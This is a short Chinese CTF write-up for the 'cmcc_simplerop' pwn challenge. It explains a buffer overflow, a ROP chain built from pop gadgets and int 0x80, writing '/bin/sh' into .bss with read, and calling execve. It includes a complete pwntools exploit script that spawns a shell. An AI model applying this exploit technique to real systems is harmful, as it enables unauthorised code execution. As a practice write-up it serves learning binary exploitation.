cmcc_simplerop的wp

函数很多很唬人
cmcc_simplerop的wp_第1张图片
但确实不难,很明显要溢出
用ROP看看有没有int80
在这里插入图片描述
有,我们可以利用系统调用
再用ROp找找看在这里插入图片描述

在这里插入图片描述
就这俩了
int80(11,"/bin/sh",null,null)

后面的四个参数分别是eax、ebx、ecx、edx。

所以上面的两条命令刚刚好。
没有/bin/sh就用read在bss段上写一个

 1 from pwn import *
 2 
 3 p = process('./simplerop')
 4 context.log_level = 'debug'
 5 
 6 p.recv()
 7 int_addr = 0x080493e1
 8 pop_eax = 0x080bae06
 9 read_addr= 0x0806CD50
10 binsh_addr = 0x080EB584
11 pop_edx_ecx_ebx = 0x0806e850
12 
13 payload = b'a'*0x20 + p32(read_addr) + p32(pop_edx_ecx_ebx) + p32(0) + p32(binsh_addr) + p32(0x8)
14 payload += p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(binsh_addr) + p32(int_addr)
15 
16 p.sendline(payload)
17 p.send('/bin/sh\x00')
18 p.interactive()
19 p.close()

你可能感兴趣的:(cmcc_simplerop的wp)